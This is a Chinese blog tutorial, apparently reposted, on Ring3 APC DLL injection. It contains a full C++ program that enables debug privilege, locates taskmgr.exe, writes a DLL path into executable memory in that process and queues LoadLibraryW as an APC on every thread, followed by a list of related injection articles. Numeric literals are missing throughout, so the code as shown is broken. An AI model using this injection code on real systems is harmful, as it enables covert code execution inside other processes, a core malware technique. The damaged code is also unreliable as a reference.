注入 - Ring3 APC注入
系统产生一个软中断,当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数,利用QueueUserAPC()这个API,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,
1.根据进程名称得进程ID
2.枚举该进程中的线程
3.将自己的函数插入到每个线程的APC队列中
1 // APCInject(Ring3).cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h"
#include <windows.h>
#include <TlHelp32.h>
#include <ntstatus.h>
#include <vector>
#include <iostream> using namespace std;
/*
Win7下成功 Win10不一定成功(编译对应的位数,管理员身份运行)
Win7要将倒着插入!!
要将DLL拷到.cpp的文件夹中
尽量选择线程多的exe 另外没有提供删除APC队列中函数的方法,所以不能反复注入。
*/ WCHAR __DllFullPath[MAX_PATH] = { };
PVOID __DllFullPathBufferData = NULL;
UINT_PTR __LoadLibraryWAddress = ; //typedef void(*pfnSub_110)(); BOOL GetProcessIDByProcessImageName(IN PWCHAR ProcessImageName, OUT PUINT32 ProcessID);
BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector<UINT32>& ThreadIDVector);
BOOL InjectDllByApc(IN UINT32 ProcessID, OUT UINT32 ThreadID);
BOOL DebugPrivilege(WCHAR * DebugName, BOOL bEnable); int main()
{
if (DebugPrivilege(SE_DEBUG_NAME, TRUE)==FALSE)
{
printf("DebugPrivilege Error\r\n");
} GetCurrentDirectory(MAX_PATH, __DllFullPath); wcscat(__DllFullPath, L"\\Dll.dll"); UINT ProcessID = ; if (GetProcessIDByProcessImageName(
L"taskmgr.exe", &ProcessID) == FALSE)
{ return ;
} vector<UINT32> ThreadIDVector; if (GetThreadIDByProcessID(ProcessID, ThreadIDVector) == FALSE)
{
return ;
} size_t ThreadCount = ThreadIDVector.size();
//每一个线程
/*
win7下得倒着注入
*/
for (INT_PTR i = ThreadCount - ; i >= ; i--)
{
UINT32 ThreadID = ThreadIDVector[i];
InjectDllByApc(ProcessID, ThreadID);
} printf("Input Any Key to Exit\r\n");
getchar();
getchar(); return ;
} BOOL InjectDllByApc(IN UINT32 ProcessID, OUT UINT32 ThreadID)
{
HANDLE ThreadHandle = NULL;
HANDLE ProcessHandle = OpenProcess(
PROCESS_ALL_ACCESS, FALSE, ProcessID); SIZE_T DllFullPathLength = ((wcslen(__DllFullPath) + )); SIZE_T ReturnLength = ;
BOOL IsOk = FALSE; // 申请一次内存
if (__DllFullPathBufferData == NULL)
{
__DllFullPathBufferData =
VirtualAllocEx(
ProcessHandle,
NULL,
DllFullPathLength * ,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
); if (__DllFullPathBufferData == NULL)
{
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
return FALSE;
} IsOk = WriteProcessMemory(
ProcessHandle,
__DllFullPathBufferData,
__DllFullPath,
DllFullPathLength * ,
&ReturnLength
); if (IsOk == FALSE)
{ VirtualFree(__DllFullPathBufferData,
DllFullPathLength * , MEM_RELEASE); CloseHandle(ProcessHandle);
ProcessHandle = NULL;
return FALSE;
}
} __LoadLibraryWAddress =
(UINT_PTR)GetProcAddress(
GetModuleHandle(L"Kernel32.dll"),
"LoadLibraryW"
); if (__LoadLibraryWAddress == NULL)
{
VirtualFree(
__DllFullPathBufferData,
DllFullPathLength * , MEM_RELEASE);
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
return FALSE;
} __try
{
ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID);
DWORD v1 = QueueUserAPC(
(PAPCFUNC)__LoadLibraryWAddress,
ThreadHandle,
(UINT_PTR)__DllFullPathBufferData
); //LoadLibraryWAddress("DllFullPathBufferData")
if (v1 == )
{
printf("FAIL %d\r\n", GetLastError());
}
else if (v1 != )
{
printf("Success\r\n");
}
} __except (EXCEPTION_CONTINUE_EXECUTION)
{ } CloseHandle(ProcessHandle);
CloseHandle(ThreadHandle); return TRUE;
} BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector<UINT32>& ThreadIDVector)
{
HANDLE ThreadSnapshotHandle = NULL;
THREADENTRY32 ThreadEntry32 = { }; ThreadEntry32.dwSize = sizeof(THREADENTRY32); ThreadSnapshotHandle = CreateToolhelp32Snapshot(
TH32CS_SNAPTHREAD, );
if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
{
return FALSE;
} BOOL IsOk = Thread32First(
ThreadSnapshotHandle, &ThreadEntry32); if (IsOk)
{
do
{
if (
ThreadEntry32.th32OwnerProcessID
== ProcessID)
{
ThreadIDVector.emplace_back(
ThreadEntry32.th32ThreadID); // 把该进程的所有线程id压入模板
}
} while (Thread32Next(
ThreadSnapshotHandle, &ThreadEntry32)
); } CloseHandle(ThreadSnapshotHandle);
ThreadSnapshotHandle = NULL; return TRUE;
} BOOL GetProcessIDByProcessImageName(IN PWCHAR ProcessImageName, OUT PUINT32 ProcessID)
{
HANDLE ProcessSnapshotHandle = NULL;
ProcessSnapshotHandle =
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ); if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
{
return FALSE;
} PROCESSENTRY32 ProcessEntry32 = { };
ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); BOOL IsOk = Process32First(
ProcessSnapshotHandle,
&ProcessEntry32
); if (IsOk)
{
do
{
if (
lstrcmpi(ProcessEntry32.szExeFile,
ProcessImageName)==
)
{
*ProcessID = ProcessEntry32.th32ProcessID;
break;
}
} while (Process32Next(
ProcessSnapshotHandle,
&ProcessEntry32
)
);
} if (*ProcessID==)
{
printf("Get ProcessID FAIL! 请打开任务管理器.\r\n");
return FALSE;
} CloseHandle(ProcessSnapshotHandle);
ProcessSnapshotHandle = NULL; return TRUE;
} BOOL DebugPrivilege(WCHAR * DebugName, BOOL bEnable)
{
BOOL bRet = TRUE;
HANDLE TokenHandle;
TOKEN_PRIVILEGES TokenPrivileges; //进程 Token 令牌
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &TokenHandle))
{
bRet = FALSE;
return bRet;
}
TokenPrivileges.PrivilegeCount = ;
TokenPrivileges.Privileges[].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : ; LookupPrivilegeValue(NULL, DebugName, &TokenPrivileges.Privileges[].Luid);
AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
if (GetLastError() != ERROR_SUCCESS)
{
bRet = FALSE;
} CloseHandle(TokenHandle);
return bRet; }
注入 - Ring3 APC注入的更多相关文章
- Dll注入:Ring3 层 APC注入
APC,即Asynchronous procedure call,异步程序调用APC注入的原理是:在一个进程中,当一个执行到SleepEx()或者WaitForSingleObjectEx()时,系统 ...
- Windows x86/ x64 Ring3层注入Dll总结
欢迎转载,转载请注明出处:http://www.cnblogs.com/uAreKongqi/p/6012353.html 0x00.前言 提到Dll的注入,立马能够想到的方法就有很多,比如利用远程线 ...
- 分析恶意驱动(进程启动apc注入dll)
一.前言 用IDA也有好些时间了,以前就只会用F5功能玩无壳无保护的裸驱动,感觉太坑了,这两天就开始看网上大牛的逆向. 今天记录一下sudami曾经逆向过的fuck.sys.第一遍自己走的时候漏掉了 ...
- APC注入
0X01 注入原理 当线程被唤醒时APC中的注册函数会被执行的机制,并依此去调用我们的DLL加载代码,进而完成注入的目的 具体的流程: 1 当EXE里的某个线程执行到sleepEX(),或者waitF ...
- 常见注入手法第二讲,APC注入
常见注入手法第二讲,APC注入 转载注明出处 首先,我们要了解下什么是APC APC 是一个简称,具体名字叫做异步过程调用,我们看下MSDN中的解释,异步过程调用,属于是同步对象中的函数,所以去同步对 ...
- 注入理解之APC注入
近期学习做了一个各种注入的MFC程序,把一些心得和体会每天分享一些 APC(Asynchronous procedure call)异步程序调用,在NT中,有两种类型的APCs:用户模式和内核模式.用 ...
- Dll注入技术之APC注入
APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下: 1)当EXE里某个线程执行到SleepEx( ...
- windows:shellcode 代码远程APC注入和加载
https://www.cnblogs.com/theseventhson/p/13197776.html 上一章介绍了通用的shellcode加载器,这个加载器自己调用virtualAlloc分配 ...
- DLL注入-APC注入
APC注入 APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下: 1)当EXE里某个线程执行到Sl ...
随机推荐
- [小A与最大子段和][斜率优化dp+二分]
链接:https://ac.nowcoder.com/acm/contest/545/A来源:牛客网题目描述 小A在网上看到了 "最大子段和" 问题的解法.第二天,小A向小B讲解了 ...
- hdu4565 So Easy! 矩阵快速幂
A sequence Sn is defined as: Where a, b, n, m are positive integers.┌x┐is the ceil of x. For example ...
- struts2的国际化i18n
先来例子,普通的读取配置文件中不同语言信息,一个测试类,一份中文配置文件,一份英文配置文件 中文配置文件,书写中文“欢迎”,myelipse自动转码 public class Readi18n { p ...
- 堆栈详解 + 彻底理解Java的值传递和引用传递
本文旨在用最通俗的语言讲述最枯燥的基本知识 学过Java基础的人都知道:值传递和引用传递是初次接触Java时的一个难点,有时候记得了语法却记不得怎么实际运用,有时候会的了运用却解释不出原理,而且坊间讨 ...
- LeetCode – Smallest Rotation with Highest Score
Given an array A, we may rotate it by a non-negative integer K so that the array becomes A[K], A[K+1 ...
- LOJ3048 「十二省联考 2019」异或粽子
题意 题目描述 小粽是一个喜欢吃粽子的好孩子.今天她在家里自己做起了粽子. 小粽面前有 $n$ 种互不相同的粽子馅儿,小粽将它们摆放为了一排,并从左至右编号为 $1$ 到 $n$.第 $i$ 种馅儿具 ...
- 如何取消noarch.rpm包
有一次部署zabbix服务器,不小心rpm -ivh zabbix的el7版本的rpm了,但是我的系统是centos6.5的,所以就尴尬了 rpm -ivh http://repo.zabbix.co ...
- pread和pwrite函数
先来介绍pread函数 [root@bogon mycode]# cat test.c #include<stdio.h> #include<stdlib.h> #includ ...
- Thread与ThreadPool的内存之战
Thread与ThreadPool使用的时候在内存里对象是如何分布的呢? 今天我们就从内存堆的角度分析下两者. 先上小白鼠代码: static void Main(string[] args) ...
- mysql之 表空间传输
说明:MySQL(5.6.6及以上),innodb_file_per_table开启. 1.1. 操作步骤: 0. 目标服务器创建相同表结构1. 目的服务器: ALTER TABLE t DISCAR ...